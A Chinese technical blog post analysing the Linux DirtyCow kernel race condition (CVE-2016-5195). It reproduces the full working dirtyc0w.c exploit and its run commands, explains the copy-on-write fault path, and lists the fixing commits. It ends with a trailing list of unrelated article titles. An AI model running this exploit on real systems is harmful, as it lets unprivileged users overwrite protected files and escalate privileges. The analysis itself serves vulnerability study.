概述

DirtyCow漏洞算是2016年linux社区一件大事情了,通过此漏洞,非授权用户可以写入任意文件,进一步提升权限。漏洞触发简单,涉及众多的linux版本和平台(linux2.6.22及其以上,涉及redhat,ubuntu,suse等多多平台)。
简单来说,CVE-2016-5195漏洞原理是linux内核内存子系统在处理私有的只读存储映射时,触发里面的竞争条件导致获取文件可写入权限,从而可以进一步获取更大的权限。

触发

触发代码:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>void *map;
int f;
struct stat st;
char *name;void *madviseThread(void *arg)
{char *str;str=(char*)arg;int i,c=0;for(i=0;i<100000000;i++){
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/secu ... 06661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/c+=madvise(map,100,MADV_DONTNEED);}printf("madvise %d\n\n",c);
}void *procselfmemThread(void *arg)
{char *str;str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/sh ... 23c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/int f=open("/proc/self/mem",O_RDWR);int i,c=0;for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/lseek(f,map,SEEK_SET);c+=write(f,str,strlen(str));}printf("procselfmem %d\n\n", c);
}int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/if (argc<3)return 1;pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/f=open(argv[1],O_RDONLY);fstat(f,&st);name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/pthread_create(&pth1,NULL,madviseThread,argv[1]);pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/pthread_join(pth1,NULL);pthread_join(pth2,NULL);return 0;
}

触发方式:

# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000

分析

1.首先梳理下dirtyc0w.c
main函数将用户输入的只读文件mmap映射,flag参数是MAP_PRIVATE且只读。MAP_PRIVATE属性会在对此内存写入时,创建一个cow的副本。然后创建2个线程madviseThread和procselfmemThread,其中procselfmemThread通过/proc/self/mem文件尝试向被映射的内存不断写入数据,madviseThread则不断调用madvise(map,100,MADV_DONTNEED)取消映射,而两个线程不断操作,竞争条件触发只读文件获取写入权限,流程在内核代码中。

2.代码流程参考
https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

(1)第一次写操作:

faultin_pagehandle_mm_fault__handle_mm_faulthandle_pte_faultdo_fault <- pte is not present

if (!(flags & FAULT_FLAG_WRITE))
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
这里判断写属性并且不是VM_SHARED,进入do_cow_fault创建cow副本

  do_cow_fault <- FAULT_FLAG_WRITEalloc_set_pte

这里4.1代码是do_set_pte():
if (write)
entry = maybe_mkwrite(pte_mkdirty(entry), vma);

      maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirtybut keep it RO

这里执行cow配文件映射内存页的副本,返回NULL

# Returns with 0 and retry
follow_page_maskfollow_page_pte
(flags & FOLL_WRITE) && !pte_write(pte) <- retry fault

这里判断cow创建的内存页是否具有写权限,没有直接返回NULL,再次进入faultin_page

faultin_pagehandle_mm_fault__handle_mm_faulthandle_pte_faultFAULT_FLAG_WRITE && !pte_write

if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
这里由于副本完成了内存映射,所以没有进入缺页错误,而是直接来到这里,进入do_wp_page()

  do_wp_pagePageAnon() <- this is CoWed page alreadyreuse_swap_page <- page is exclusively ourswp_page_reusemaybe_mkwrite <- dirty but RO againret = VM_FAULT_WRITE

这里直接使用cow操作的副本,并且一层层返回到faultin_page()函数中,此时带VM_FAULT_WRITE标志。到达
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
这里会清除flags的FOLL_WRITE,因为后面需要对cow副本写入。按正常流程来讲,程序操作cow副本页。

((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE# Returns with 0 and retry as a read fault

再次回到__get_user_pages的retry:
retry:
/*
* If we have a pending SIGKILL, don’t keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask);
正常流程会对cow副本页进行follow_page_mask()接下来操作,但是cond_resched();这个函数调用给其他线程抢占留了空隙,此时dirtyc0w.c的madviseThread()线程中的madvise(map,100,MADV_DONTNEED)取消了cow的映射,取消映射后进入follow_page_mask会再次触发缺页中断,而此时do_fault调用,已经在上面清理了flags的写权限的要求,直接调用do_read_fault读取映射文件的内存页,获取映射(原只读)文件的内存页,而不是cow的副本页,此时已经可越权操作。

cond_resched -> different thread will now unmap via madvise
follow_page_mask!pte_present && pte_none
faultin_pagehandle_mm_fault__handle_mm_faulthandle_pte_faultdo_fault <- pte is not presentdo_read_fault <- this is a read fault and we will get pagecachepage!

再次梳理:
正常流程:write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页(只读),返回NULL->处理cow副页写权限错误,清除FOLL_WRITE权限要求->写入cow副页

漏洞流程:write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页(只读),返回NULL->处理cow副页写权限错误,清除FOLL_WRITE权限要求-> madvise unmap cow副页内存映射->再次触发缺页中断,并且flag清除了FOLL_WRITE,直接调用do_read_fault获取文件内存页,可读。

补丁:

commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

新增了FOLL_COW,faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW,这样不会出现去掉FOLL_WRITE权限的操作,也不会引发后面问题。

DirtyCow CVE-2016-5195分析相关推荐

  1. 信息图:大数据2016年分析趋势

    2019独角兽企业重金招聘Python工程师标准>>> 大数据和数据分析被接受和使用已经走了很长的路.在过去的几年里,我们已经看到很多行业采用先进的分析作为其整体战略的核心部分.而且 ...

  2. mysql cve 2016 3521_MySQL-based databases CVE -2016-6663 本地提权

    @date: 2016/11/3 @author: dlive 0x01 漏洞原文 翻译水平不高求轻喷 感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程 0x ...

  3. mysql cve 2016 3521_MySQL-based databases CVE-2016-6664 本地提权

    @date: 2016/11/10 @author: dlive 0x00 前言 这个漏洞可以结合CVE-2016-6663使用提升权限到root 0x01 漏洞原文 # http://legalha ...

  4. IT行业2016研究分析

    IT服务是指在信息技术领域服务商为其用户提供信息咨询.软件升级.硬件维修等全方位的服务. 如今,IT服务正成为IT业的基础行业.作为信息化的先锋和服务业的高级形态,中国IT服务产业正逐渐被 各级政府所 ...

  5. 2018年冷链百强_在分析了47,251个依赖关系之后,2016年Java图书馆百强

    2018年冷链百强 谁在上面,谁在后面? 我们分析了Github上的47,251个依赖关系,并抽取了前100个Java库 对于长周末而言,我们最喜欢的消遣是浏览Github并搜索流行的Java库. 我 ...

  6. 在分析了47,251个依赖关系之后,2016年排名前100的Java库

    谁在上面,谁在后面? 我们分析了Github上的47,251个依赖关系,并抽取了前100个Java库 长周末我们最喜欢的消遣是浏览Github并搜索流行的Java库. 我们决定与您分享乐趣和信息. 我 ...

  7. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  8. CVE-2017-11882漏洞分析

    文章目录 分析环境 漏洞描述 漏洞成因 漏洞分析 获取poc 复现漏洞 漏洞分析 定位漏洞模块 定位漏洞函数 定位漏洞触发点 解决方案 分析环境 环境 W7 x64 Office2013 工具 win ...

  9. 45.JVM调优策略、常见问题:内存泄漏(年老代堆空间被占满、持久代被占满、堆栈溢出、线程堆栈满、系统内存被占满)优化方法:优化目标、优化GC步骤、优化总结;案例分析(公司系统参数、网上给的配置参数)

    45.JVM调优策略 45.1.常见问题 45.1.1.内存泄漏 45.1.1.1.年老代堆空间被占满 45.1.1.2.持久代被占满 45.1.1.3.堆栈溢出 45.1.1.4.线程堆栈满 45. ...

  10. mysql pt_MySQL慢查询之pt-query-digest分析慢查询日志

    一.简介 pt-query-digest是用于分析mysql慢查询的一个工具,它可以分析binlog.General log.slowlog,也可以通过SHOWPROCESSLIST或者通过tcpdu ...

最新文章

  1. 【Android 逆向】Android 进程注入工具开发 ( 远程调用 | x86 架构的返回值获取 | arm 架构远程调用 )
  2. 深入解读ADO.NET2.0的十大最新特性
  3. Coursera课程Python for everyone:chapter6
  4. mysql 5.7巡检脚本_mysql自动化巡检脚本生成html报告
  5. 牛客多校2 - Boundary(几何)
  6. 双向循环链表的插入与删除
  7. 三阶段dea模型 matlab源程序,三阶段DEA模型SFA二阶段剔除过程
  8. Bootstrap3 下拉菜单及其调用方式
  9. JimStoneAjax如何跟DWR竞争?
  10. 机器学习基础(三)——信息、信息熵与信息增益
  11. x的平方加y平加xy的java语言_面试被虐题:说说 JVM 系语言的函数式编程
  12. Python3.7.2版本出现ModuleNotFoundError: No module named 'paramiko'解决办法
  13. 【GIS导论】实验五 缓冲区分析和网络分析
  14. php 盒子边距,CSS 盒子模型外边距
  15. 干货! IT项目管理过程详解(资料下载)
  16. 扫描无法传送到计算机,文件无法从复印机扫描到电脑?可能是以下操作您没有注意到...
  17. 一批信息查询网站汇总
  18. 改造Kindeditor之:自定义图片上传插件。 外加给图片增加水印效果的选择。
  19. cuda/cudnn/cuda 10.1安装教程
  20. 多线程案例----严格单例模式----和尚吃馒头问题

热门文章

  1. 西电Linux用户名和密码,在西电使用校内Linux 开源软件镜像
  2. 火焰检测的一些名词解释
  3. 题解-牛客网-SQL-(SQL15)查找employees表所有emp_no为奇数
  4. 亚马逊云科技2022年6月新服务新功能回顾
  5. 软件测试|RDBMS是什么意思,你搞懂了吗?
  6. ftp客服端实现自动更新文件(带更新完自动启动功能)-python
  7. 心理学之:越是成熟的人,越明白要在这4件事上保持“低调
  8. restorator安装后接口问题解决
  9. 【恶意软件检测】【防】DeepRefiner: Multi-layer Android Malware Detection
  10. 工业机器人(4)-- Matlab Robot Toolbox运动学正、逆解